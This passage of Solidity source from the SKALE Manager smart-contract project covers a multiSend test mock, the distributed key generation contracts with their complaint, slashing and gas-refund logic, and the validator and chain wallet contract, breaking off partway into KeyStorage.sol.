0; uint right = lastTimeShiftIndex; while (left + 1 < right) { uint middle = left.add(right).div(2); if (_timeShift[middle].pointInTime.add(_timeShift[middle].shift) < shiftedTimestamp) { left = middle; } else { right = middle; } } if (shiftedTimestamp < _timeShift[right].pointInTime.add(_timeShift[left].shift)) { return shiftedTimestamp.sub(_timeShift[left].shift); } else { return _timeShift[right].pointInTime; } } } } } // SPDX-License-Identifier: AGPL-3.0-only /* SafeMock.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; contract SafeMock is OwnableUpgradeSafe { constructor() public { OwnableUpgradeSafe.__Ownable_init(); multiSend(""); // this is needed to remove slither warning } function transferProxyAdminOwnership(OwnableUpgradeSafe proxyAdmin, address newOwner) external onlyOwner { proxyAdmin.transferOwnership(newOwner); } function destroy() external onlyOwner { selfdestruct(msg.sender); } /// @dev Sends multiple transactions and reverts all if one fails. /// @param transactions Encoded transactions. Each transaction is encoded as a packed bytes of /// operation as a uint8 with 0 for a call or 1 for a delegatecall (=> 1 byte), /// to as a address (=> 20 bytes), /// value as a uint256 (=> 32 bytes), /// data length as a uint256 (=> 32 bytes), /// data as bytes. /// see abi.encodePacked for more information on packed encoding function multiSend(bytes memory transactions) public { // solhint-disable-next-line no-inline-assembly assembly { let length := mload(transactions) let i := 0x20 // solhint-disable-next-line no-empty-blocks for { } lt(i, length) { } { // First byte of the data is the operation. // We shift by 248 bits (256 - 8 [operation byte]) it right // since mload will always load 32 bytes (a word). // This will also zero out unused data. let operation := shr(0xf8, mload(add(transactions, i))) // We offset the load address by 1 byte (operation byte) // We shift it right by 96 bits (256 - 160 [20 address bytes]) // to right-align the data and zero out unused data. let to := shr(0x60, mload(add(transactions, add(i, 0x01)))) // We offset the load address by 21 byte (operation byte + 20 address bytes) let value := mload(add(transactions, add(i, 0x15))) // We offset the load address by 53 byte (operation byte + 20 address bytes + 32 value bytes) let dataLength := mload(add(transactions, add(i, 0x35))) // We offset the load address by 85 byte // (operation byte + 20 address bytes + 32 value bytes + 32 data length bytes) let data := add(transactions, add(i, 0x55)) let success := 0 switch operation case 0 { success := call(gas(), to, value, data, dataLength, 0, 0) } case 1 { success := delegatecall(gas(), to, data, dataLength, 0, 0) } if eq(success, 0) { revert(0, 0) } // Next entry starts at 85 byte + data length i := add(i, add(0x55, dataLength)) } } } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDkgAlright.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../SkaleDKG.sol"; import "../ContractManager.sol"; import "../Wallets.sol"; import "../KeyStorage.sol"; /** * @title SkaleDkgAlright * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ library SkaleDkgAlright { event AllDataReceived(bytes32 indexed schainId, uint nodeIndex); event SuccessfulDKG(bytes32 indexed schainId); function alright( bytes32 schainId, uint fromNodeIndex, ContractManager contractManager, mapping(bytes32 => SkaleDKG.Channel) storage channels, mapping(bytes32 => SkaleDKG.ProcessDKG) storage dkgProcess, mapping(bytes32 => SkaleDKG.ComplaintData) storage complaints, mapping(bytes32 => uint) storage lastSuccesfulDKG ) external { SkaleDKG skaleDKG = SkaleDKG(contractManager.getContract("SkaleDKG")); (uint index, ) = skaleDKG.checkAndReturnIndexInGroup(schainId, fromNodeIndex, true); uint numberOfParticipant = channels[schainId].n; require(numberOfParticipant == dkgProcess[schainId].numberOfBroadcasted, "Still Broadcasting phase"); require( complaints[schainId].fromNodeToComplaint != fromNodeIndex || (fromNodeIndex == 0 && complaints[schainId].startComplaintBlockTimestamp == 0), "Node has already sent complaint" ); require(!dkgProcess[schainId].completed[index], "Node is already alright"); dkgProcess[schainId].completed[index] = true; dkgProcess[schainId].numberOfCompleted++; emit AllDataReceived(schainId, fromNodeIndex); if (dkgProcess[schainId].numberOfCompleted == numberOfParticipant) { lastSuccesfulDKG[schainId] = now; channels[schainId].active = false; KeyStorage(contractManager.getContract("KeyStorage")).finalizePublicKey(schainId); emit SuccessfulDKG(schainId); } } } // SPDX-License-Identifier: AGPL-3.0-only /* SkaleDKG.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./delegation/Punisher.sol"; import "./SlashingTable.sol"; import "./Schains.sol"; import "./SchainsInternal.sol"; import "./utils/FieldOperations.sol"; import "./NodeRotation.sol"; import "./KeyStorage.sol"; import "./interfaces/ISkaleDKG.sol"; import "./thirdparty/ECDH.sol"; import "./utils/Precompiled.sol"; import "./Wallets.sol"; import "./dkg/SkaleDkgAlright.sol"; import "./dkg/SkaleDkgBroadcast.sol"; import "./dkg/SkaleDkgComplaint.sol"; import "./dkg/SkaleDkgPreResponse.sol"; import "./dkg/SkaleDkgResponse.sol"; /** * @title SkaleDKG * @dev Contains functions to manage distributed key generation per * Joint-Feldman protocol. */ contract SkaleDKG is Permissions, ISkaleDKG { using Fp2Operations for Fp2Operations.Fp2Point; using G2Operations for G2Operations.G2Point; enum DkgFunction {Broadcast, Alright, ComplaintBadData, PreResponse, Complaint, Response} struct Channel { bool active; uint n; uint startedBlockTimestamp; uint startedBlock; } struct ProcessDKG { uint numberOfBroadcasted; uint numberOfCompleted; bool[] broadcasted; bool[] completed; } struct ComplaintData { uint nodeToComplaint; uint fromNodeToComplaint; uint startComplaintBlockTimestamp; bool isResponse; bytes32 keyShare; G2Operations.G2Point sumOfVerVec; } struct KeyShare { bytes32[2] publicKey; bytes32 share; } struct Context { bool isDebt; uint delta; DkgFunction dkgFunction; } uint public constant COMPLAINT_TIMELIMIT = 1800; mapping(bytes32 => Channel) public channels; mapping(bytes32 => uint) public lastSuccesfulDKG; mapping(bytes32 => ProcessDKG) public dkgProcess; mapping(bytes32 => ComplaintData) public complaints; mapping(bytes32 => uint) public startAlrightTimestamp; mapping(bytes32 => mapping(uint => bytes32)) public hashedData; mapping(bytes32 => uint) private _badNodes; /** * @dev Emitted when a channel is opened. */ event ChannelOpened(bytes32 schainId); /** * @dev Emitted when a channel is closed. */ event ChannelClosed(bytes32 schainId); /** * @dev Emitted when a node broadcasts keyshare. */ event BroadcastAndKeyShare( bytes32 indexed schainId, uint indexed fromNode, G2Operations.G2Point[] verificationVector, KeyShare[] secretKeyContribution ); /** * @dev Emitted when all group data is received by node. */ event AllDataReceived(bytes32 indexed schainId, uint nodeIndex); /** * @dev Emitted when DKG is successful. */ event SuccessfulDKG(bytes32 indexed schainId); /** * @dev Emitted when a complaint against a node is verified. */ event BadGuy(uint nodeIndex); /** * @dev Emitted when DKG failed. */ event FailedDKG(bytes32 indexed schainId); /** * @dev Emitted when a new node is rotated in. */ event NewGuy(uint nodeIndex); /** * @dev Emitted when an incorrect complaint is sent. */ event ComplaintError(string error); /** * @dev Emitted when a complaint is sent. */ event ComplaintSent( bytes32 indexed schainId, uint indexed fromNodeIndex, uint indexed toNodeIndex); modifier correctGroup(bytes32 schainId) { require(channels[schainId].active, "Group is not created"); _; } modifier correctGroupWithoutRevert(bytes32 schainId) { if (!channels[schainId].active) { emit ComplaintError("Group is not created"); } else { _; } } modifier correctNode(bytes32 schainId, uint nodeIndex) { (uint index, ) = checkAndReturnIndexInGroup(schainId, nodeIndex, true); _; } modifier correctNodeWithoutRevert(bytes32 schainId, uint nodeIndex) { (, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); if (!check) { emit ComplaintError("Node is not in this group"); } else { _; } } modifier onlyNodeOwner(uint nodeIndex) { _checkMsgSenderIsNodeOwner(nodeIndex); _; } modifier refundGasBySchain(bytes32 schainId, Context memory context) { uint gasTotal = gasleft(); _; _refundGasBySchain(schainId, gasTotal, context); } modifier refundGasByValidatorToSchain(bytes32 schainId, Context memory context) { uint gasTotal = gasleft(); _; _refundGasBySchain(schainId, gasTotal, context); _refundGasByValidatorToSchain(schainId); } function alright(bytes32 schainId, uint fromNodeIndex) external refundGasBySchain(schainId, Context({ isDebt: false, delta: ConstantsHolder(contractManager.getConstantsHolder()).ALRIGHT_DELTA(), dkgFunction: DkgFunction.Alright })) correctGroup(schainId) onlyNodeOwner(fromNodeIndex) { SkaleDkgAlright.alright( schainId, fromNodeIndex, contractManager, channels, dkgProcess, complaints, lastSuccesfulDKG ); } function broadcast( bytes32 schainId, uint nodeIndex, G2Operations.G2Point[] memory verificationVector, KeyShare[] memory secretKeyContribution ) external refundGasBySchain(schainId, Context({ isDebt: false, delta: ConstantsHolder(contractManager.getConstantsHolder()).BROADCAST_DELTA(), dkgFunction: DkgFunction.Broadcast })) correctGroup(schainId) onlyNodeOwner(nodeIndex) { SkaleDkgBroadcast.broadcast( schainId, nodeIndex, verificationVector, secretKeyContribution, contractManager, channels, dkgProcess, hashedData ); } function complaintBadData(bytes32 schainId, uint fromNodeIndex, uint toNodeIndex) external refundGasBySchain( schainId, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_BAD_DATA_DELTA(), dkgFunction: DkgFunction.ComplaintBadData })) correctGroupWithoutRevert(schainId) correctNode(schainId, fromNodeIndex) correctNodeWithoutRevert(schainId, toNodeIndex) onlyNodeOwner(fromNodeIndex) { SkaleDkgComplaint.complaintBadData( schainId, fromNodeIndex, toNodeIndex, contractManager, complaints ); } function preResponse( bytes32 schainId, uint fromNodeIndex, G2Operations.G2Point[] memory verificationVector, G2Operations.G2Point[] memory verificationVectorMult, KeyShare[] memory secretKeyContribution ) external refundGasBySchain( schainId, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).PRE_RESPONSE_DELTA(), dkgFunction: DkgFunction.PreResponse })) correctGroup(schainId) onlyNodeOwner(fromNodeIndex) { SkaleDkgPreResponse.preResponse( schainId, fromNodeIndex, verificationVector, verificationVectorMult, secretKeyContribution, contractManager, complaints, hashedData ); } function complaint(bytes32 schainId, uint fromNodeIndex, uint toNodeIndex) external refundGasByValidatorToSchain( schainId, Context({ isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).COMPLAINT_DELTA(), dkgFunction: DkgFunction.Complaint })) correctGroupWithoutRevert(schainId) correctNode(schainId, fromNodeIndex) correctNodeWithoutRevert(schainId, toNodeIndex) onlyNodeOwner(fromNodeIndex) { SkaleDkgComplaint.complaint( schainId, fromNodeIndex, toNodeIndex, contractManager, channels, complaints, startAlrightTimestamp ); } function response( bytes32 schainId, uint fromNodeIndex, uint secretNumber, G2Operations.G2Point memory multipliedShare ) external refundGasByValidatorToSchain( schainId, Context({isDebt: true, delta: ConstantsHolder(contractManager.getConstantsHolder()).RESPONSE_DELTA(), dkgFunction: DkgFunction.Response })) correctGroup(schainId) onlyNodeOwner(fromNodeIndex) { SkaleDkgResponse.response( schainId, fromNodeIndex, secretNumber, multipliedShare, contractManager, channels, complaints ); } /** * @dev Allows Schains and NodeRotation contracts to open a channel. * * Emits a {ChannelOpened} event. * * Requirements: * * - Channel is not already created. */ function openChannel(bytes32 schainId) external override allowTwo("Schains","NodeRotation") { _openChannel(schainId); } /** * @dev Allows SchainsInternal contract to delete a channel. * * Requirements: * * - Channel must exist. */ function deleteChannel(bytes32 schainId) external override allow("SchainsInternal") { delete channels[schainId]; delete dkgProcess[schainId]; delete complaints[schainId]; KeyStorage(contractManager.getContract("KeyStorage")).deleteKey(schainId); } function setStartAlrightTimestamp(bytes32 schainId) external allow("SkaleDKG") { startAlrightTimestamp[schainId] = now; } function setBadNode(bytes32 schainId, uint nodeIndex) external allow("SkaleDKG") { _badNodes[schainId] = nodeIndex; } function finalizeSlashing(bytes32 schainId, uint badNode) external allow("SkaleDKG") { NodeRotation nodeRotation = NodeRotation(contractManager.getContract("NodeRotation")); SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal") ); emit BadGuy(badNode); emit FailedDKG(schainId); schainsInternal.makeSchainNodesInvisible(schainId); if (schainsInternal.isAnyFreeNode(schainId)) { uint newNode = nodeRotation.rotateNode( badNode, schainId, false, true ); emit NewGuy(newNode); } else { _openChannel(schainId); schainsInternal.removeNodeFromSchain( badNode, schainId ); channels[schainId].active = false; } schainsInternal.makeSchainNodesVisible(schainId); Punisher(contractManager.getPunisher()).slash( Nodes(contractManager.getContract("Nodes")).getValidatorId(badNode), SlashingTable(contractManager.getContract("SlashingTable")).getPenalty("FailedDKG") ); } function getChannelStartedTime(bytes32 schainId) external view returns (uint) { return channels[schainId].startedBlockTimestamp; } function getChannelStartedBlock(bytes32 schainId) external view returns (uint) { return channels[schainId].startedBlock; } function getNumberOfBroadcasted(bytes32 schainId) external view returns (uint) { return dkgProcess[schainId].numberOfBroadcasted; } function getNumberOfCompleted(bytes32 schainId) external view returns (uint) { return dkgProcess[schainId].numberOfCompleted; } function getTimeOfLastSuccessfulDKG(bytes32 schainId) external view returns (uint) { return lastSuccesfulDKG[schainId]; } function getComplaintData(bytes32 schainId) external view returns (uint, uint) { return (complaints[schainId].fromNodeToComplaint, complaints[schainId].nodeToComplaint); } function getComplaintStartedTime(bytes32 schainId) external view returns (uint) { return complaints[schainId].startComplaintBlockTimestamp; } function getAlrightStartedTime(bytes32 schainId) external view returns (uint) { return startAlrightTimestamp[schainId]; } /** * @dev Checks whether channel is opened. */ function isChannelOpened(bytes32 schainId) external override view returns (bool) { return channels[schainId].active; } function isLastDKGSuccessful(bytes32 schainId) external override view returns (bool) { return channels[schainId].startedBlockTimestamp <= lastSuccesfulDKG[schainId]; } /** * @dev Checks whether broadcast is possible. */ function isBroadcastPossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && !dkgProcess[schainId].broadcasted[index]; } /** * @dev Checks whether complaint is possible. */ function isComplaintPossible( bytes32 schainId, uint fromNodeIndex, uint toNodeIndex ) external view returns (bool) { (uint indexFrom, bool checkFrom) = checkAndReturnIndexInGroup(schainId, fromNodeIndex, false); (uint indexTo, bool checkTo) = checkAndReturnIndexInGroup(schainId, toNodeIndex, false); if (!checkFrom || !checkTo) return false; bool complaintSending = ( complaints[schainId].nodeToComplaint == uint(-1) && dkgProcess[schainId].broadcasted[indexTo] && !dkgProcess[schainId].completed[indexFrom] ) || ( dkgProcess[schainId].broadcasted[indexTo] && complaints[schainId].startComplaintBlockTimestamp.add(_getComplaintTimelimit()) <= block.timestamp && complaints[schainId].nodeToComplaint == toNodeIndex ) || ( !dkgProcess[schainId].broadcasted[indexTo] && complaints[schainId].nodeToComplaint == uint(-1) && channels[schainId].startedBlockTimestamp.add(_getComplaintTimelimit()) <= block.timestamp ) || ( complaints[schainId].nodeToComplaint == uint(-1) && isEveryoneBroadcasted(schainId) && dkgProcess[schainId].completed[indexFrom] && !dkgProcess[schainId].completed[indexTo] && startAlrightTimestamp[schainId].add(_getComplaintTimelimit()) <= block.timestamp ); return channels[schainId].active && dkgProcess[schainId].broadcasted[indexFrom] && _isNodeOwnedByMessageSender(fromNodeIndex, msg.sender) && complaintSending; } /** * @dev Checks whether sending Alright response is possible. */ function isAlrightPossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && channels[schainId].n == dkgProcess[schainId].numberOfBroadcasted && (complaints[schainId].fromNodeToComplaint != nodeIndex || (nodeIndex == 0 && complaints[schainId].startComplaintBlockTimestamp == 0)) && !dkgProcess[schainId].completed[index]; } /** * @dev Checks whether sending a pre-response is possible. */ function isPreResponsePossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && complaints[schainId].nodeToComplaint == nodeIndex && !complaints[schainId].isResponse; } /** * @dev Checks whether sending a response is possible. */ function isResponsePossible(bytes32 schainId, uint nodeIndex) external view returns (bool) { (, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return channels[schainId].active && check && _isNodeOwnedByMessageSender(nodeIndex, msg.sender) && complaints[schainId].nodeToComplaint == nodeIndex && complaints[schainId].isResponse; } function isNodeBroadcasted(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return check && dkgProcess[schainId].broadcasted[index]; } /** * @dev Checks whether all data has been received by node. */ function isAllDataReceived(bytes32 schainId, uint nodeIndex) external view returns (bool) { (uint index, bool check) = checkAndReturnIndexInGroup(schainId, nodeIndex, false); return check && dkgProcess[schainId].completed[index]; } function hashData( KeyShare[] memory secretKeyContribution, G2Operations.G2Point[] memory verificationVector ) external pure returns (bytes32) { bytes memory data; for (uint i = 0; i < secretKeyContribution.length; i++) { data = abi.encodePacked(data, secretKeyContribution[i].publicKey, secretKeyContribution[i].share); } for (uint i = 0; i < verificationVector.length; i++) { data = abi.encodePacked( data, verificationVector[i].x.a, verificationVector[i].x.b, verificationVector[i].y.a, verificationVector[i].y.b ); } return keccak256(data); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } function checkAndReturnIndexInGroup( bytes32 schainId, uint nodeIndex, bool revertCheck ) public view returns (uint, bool) { uint index = SchainsInternal(contractManager.getContract("SchainsInternal")) .getNodeIndexInGroup(schainId, nodeIndex); if (index >= channels[schainId].n && revertCheck) { revert("Node is not in this group"); } return (index, index < channels[schainId].n); } function _refundGasBySchain(bytes32 schainId, uint gasTotal, Context memory context) private { Wallets wallets = Wallets(payable(contractManager.getContract("Wallets"))); bool isLastNode = channels[schainId].n == dkgProcess[schainId].numberOfCompleted; if (context.dkgFunction == DkgFunction.Alright && isLastNode) { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(74800), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Complaint && gasTotal.sub(gasleft()) > 2e6) { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(640000), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Complaint && gasTotal.sub(gasleft()) > 1e6) { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta).sub(270000), context.isDebt ); } else if (context.dkgFunction == DkgFunction.Response){ wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).sub(context.delta), context.isDebt ); } else { wallets.refundGasBySchain( schainId, msg.sender, gasTotal.sub(gasleft()).add(context.delta), context.isDebt ); } } function _refundGasByValidatorToSchain(bytes32 schainId) private { uint validatorId = Nodes(contractManager.getContract("Nodes")) .getValidatorId(_badNodes[schainId]); Wallets(payable(contractManager.getContract("Wallets"))) .refundGasByValidatorToSchain(validatorId, schainId); delete _badNodes[schainId]; } function _openChannel(bytes32 schainId) private { SchainsInternal schainsInternal = SchainsInternal( contractManager.getContract("SchainsInternal") ); uint len = schainsInternal.getNumberOfNodesInGroup(schainId); channels[schainId].active = true; channels[schainId].n = len; delete dkgProcess[schainId].completed; delete dkgProcess[schainId].broadcasted; dkgProcess[schainId].broadcasted = new bool[](len); dkgProcess[schainId].completed = new bool[](len); complaints[schainId].fromNodeToComplaint = uint(-1); complaints[schainId].nodeToComplaint = uint(-1); delete complaints[schainId].startComplaintBlockTimestamp; delete dkgProcess[schainId].numberOfBroadcasted; delete dkgProcess[schainId].numberOfCompleted; channels[schainId].startedBlockTimestamp = now; channels[schainId].startedBlock = block.number; KeyStorage(contractManager.getContract("KeyStorage")).initPublicKeyInProgress(schainId); emit ChannelOpened(schainId); } function isEveryoneBroadcasted(bytes32 schainId) public view returns (bool) { return channels[schainId].n == dkgProcess[schainId].numberOfBroadcasted; } function _isNodeOwnedByMessageSender(uint nodeIndex, address from) private view returns (bool) { return Nodes(contractManager.getContract("Nodes")).isNodeExist(from, nodeIndex); } function _checkMsgSenderIsNodeOwner(uint nodeIndex) private view { require(_isNodeOwnedByMessageSender(nodeIndex, msg.sender), "Node does not exist for message sender"); } function _getComplaintTimelimit() private view returns (uint) { return ConstantsHolder(contractManager.getConstantsHolder()).complaintTimelimit(); } } // SPDX-License-Identifier: AGPL-3.0-only /* Wallets.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; import "./delegation/ValidatorService.sol"; import "./SchainsInternal.sol"; import "./Nodes.sol"; /** * @title Wallets * @dev Contract contains logic to perform automatic self-recharging ether for nodes */ contract Wallets is Permissions { mapping (uint => uint) private _validatorWallets; mapping (bytes32 => uint) private _schainWallets; mapping (bytes32 => uint) private _schainDebts; /** * @dev Emitted when the validator wallet was funded */ event ValidatorWalletRecharged(address sponsor, uint amount, uint validatorId); /** * @dev Emitted when the schain wallet was funded */ event SchainWalletRecharged(address sponsor, uint amount, bytes32 schainId); /** * @dev Emitted when the node received a refund from validator to its wallet */ event NodeRefundedByValidator(address node, uint validatorId, uint amount); /** * @dev Emitted when the node received a refund from schain to its wallet */ event NodeRefundedBySchain(address node, bytes32 schainId, uint amount); /** * @dev Is executed on a call to the contract with empty calldata. * This is the function that is executed on plain Ether transfers, * so validator or schain owner can use usual transfer ether to recharge wallet. */ receive() external payable { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); bytes32[] memory schainIds = schainsInternal.getSchainIdsByAddress(msg.sender); if (schainIds.length == 1) { rechargeSchainWallet(schainIds[0]); } else { uint validatorId = validatorService.getValidatorId(msg.sender); rechargeValidatorWallet(validatorId); } } /** * @dev Reimburse gas for node by validator wallet. If validator wallet has not enough funds * the node will receive the entire remaining amount in the validator's wallet. * `validatorId` - validator that will reimburse desired transaction * `spender` - address to send reimbursed funds * `spentGas` - amount of spent gas that should be reimbursed to desired node * * Emits a {NodeRefundedByValidator} event. * * Requirements: * - Given validator should exist */ function refundGasByValidator( uint validatorId, address payable spender, uint spentGas ) external allowTwo("SkaleManager", "SkaleDKG") { require(validatorId != 0, "ValidatorId could not be zero"); uint amount = tx.gasprice * spentGas; if (amount <= _validatorWallets[validatorId]) { _validatorWallets[validatorId] = _validatorWallets[validatorId].sub(amount); emit NodeRefundedByValidator(spender, validatorId, amount); spender.transfer(amount); } else { uint wholeAmount = _validatorWallets[validatorId]; // solhint-disable-next-line reentrancy delete _validatorWallets[validatorId]; emit NodeRefundedByValidator(spender, validatorId, wholeAmount); spender.transfer(wholeAmount); } } /** * @dev Returns the amount owed to the owner of the chain by the validator, * if the validator does not have enough funds, then everything * that the validator has will be returned to the owner of the chain. */ function refundGasByValidatorToSchain(uint validatorId, bytes32 schainId) external allow("SkaleDKG") { uint debtAmount = _schainDebts[schainId]; uint validatorWallet = _validatorWallets[validatorId]; if (debtAmount <= validatorWallet) { _validatorWallets[validatorId] = validatorWallet.sub(debtAmount); } else { debtAmount = validatorWallet; delete _validatorWallets[validatorId]; } _schainWallets[schainId] = _schainWallets[schainId].add(debtAmount); delete _schainDebts[schainId]; } /** * @dev Reimburse gas for node by schain wallet. If schain wallet has not enough funds * than transaction will be reverted. * `schainId` - schain that will reimburse desired transaction * `spender` - address to send reimbursed funds * `spentGas` - amount of spent gas that should be reimbursed to desired node * `isDebt` - parameter that indicates whether this amount should be recorded as debt for the validator * * Emits a {NodeRefundedBySchain} event. * * Requirements: * - Given schain should exist * - Schain wallet should have enough funds */ function refundGasBySchain( bytes32 schainId, address payable spender, uint spentGas, bool isDebt ) external allowTwo("SkaleDKG", "MessageProxyForMainnet") { uint amount = tx.gasprice * spentGas; if (isDebt) { amount += (_schainDebts[schainId] == 0 ? 21000 : 6000) * tx.gasprice; _schainDebts[schainId] = _schainDebts[schainId].add(amount); } require(schainId != bytes32(0), "SchainId cannot be null"); require(amount <= _schainWallets[schainId], "Schain wallet has not enough funds"); _schainWallets[schainId] = _schainWallets[schainId].sub(amount); emit NodeRefundedBySchain(spender, schainId, amount); spender.transfer(amount); } /** * @dev Withdraws money from schain wallet. Possible to execute only after deleting schain. * `schainOwner` - address of schain owner that will receive rest of the schain balance * `schainId` - schain wallet from which money is withdrawn * * Requirements: * - Executable only after initing delete schain */ function withdrawFundsFromSchainWallet(address payable schainOwner, bytes32 schainId) external allow("Schains") { uint amount = _schainWallets[schainId]; delete _schainWallets[schainId]; schainOwner.transfer(amount); } /** * @dev Withdraws money from vaildator wallet. * `amount` - the amount of money in wei * * Requirements: * - Validator must have sufficient withdrawal amount */ function withdrawFundsFromValidatorWallet(uint amount) external { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); uint validatorId = validatorService.getValidatorId(msg.sender); require(amount <= _validatorWallets[validatorId], "Balance is too low"); _validatorWallets[validatorId] = _validatorWallets[validatorId].sub(amount); msg.sender.transfer(amount); } function getSchainBalance(bytes32 schainId) external view returns (uint) { return _schainWallets[schainId]; } function getValidatorBalance(uint validatorId) external view returns (uint) { return _validatorWallets[validatorId]; } /** * @dev Recharge the validator wallet by id. * `validatorId` - id of existing validator. * * Emits a {ValidatorWalletRecharged} event. * * Requirements: * - Given validator must exist */ function rechargeValidatorWallet(uint validatorId) public payable { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); require(validatorService.validatorExists(validatorId), "Validator does not exists"); _validatorWallets[validatorId] = _validatorWallets[validatorId].add(msg.value); emit ValidatorWalletRecharged(msg.sender, msg.value, validatorId); } /** * @dev Recharge the schain wallet by schainId (hash of schain name). * `schainId` - id of existing schain. * * Emits a {SchainWalletRecharged} event. * * Requirements: * - Given schain must be created */ function rechargeSchainWallet(bytes32 schainId) public payable { SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal")); require(schainsInternal.isSchainActive(schainId), "Schain should be active for recharging"); _schainWallets[schainId] = _schainWallets[schainId].add(msg.value); emit SchainWalletRecharged(msg.sender, msg.value, schainId); } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); } } // SPDX-License-Identifier: AGPL-3.0-only /* KeyStorage.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "./Decryption.sol"; import "./Permissions.sol"; import "./SchainsInternal.sol"; import "./thirdparty/ECDH.sol"; import "./utils/Precompiled.sol"; import "./utils/FieldOperations.sol"; contract KeyStorage is Permissions { using Fp2Operations for Fp2Operations.Fp2Point; using G2Operations for G2Operations.G2Point; struct BroadcastedData { KeyShare[] secretKeyContribution; G2Operations.G2Point[] verificationVector; } struct KeyShare { bytes32[2] publicKey; bytes32 share; } // Unused variable!! mapping(bytes32 => mapping(uint => BroadcastedData)) private _data; // mapping(bytes32 => G2Operations.G2Point) private _publicKeysInProgress; mapping(bytes32 => G2Operations.G2Point) private _schainsPublicKeys; // Unused variable mapping(bytes32 => G2Operations.G2Point[]) private _schainsNodesPublicKeys; // mapping(bytes32 => G2Operations.G2Point[]) private _previousSchainsPublicKeys; function deleteKey(bytes32 schainId) external allow("SkaleDKG") { _previousSchainsPublicKeys[schainId].push(_schainsPublicKeys[schainId]); delete _schainsPublicKeys[schainId]; delete _data[schainId][0]; delete _schainsNodesPublicKeys[schainId]; } function 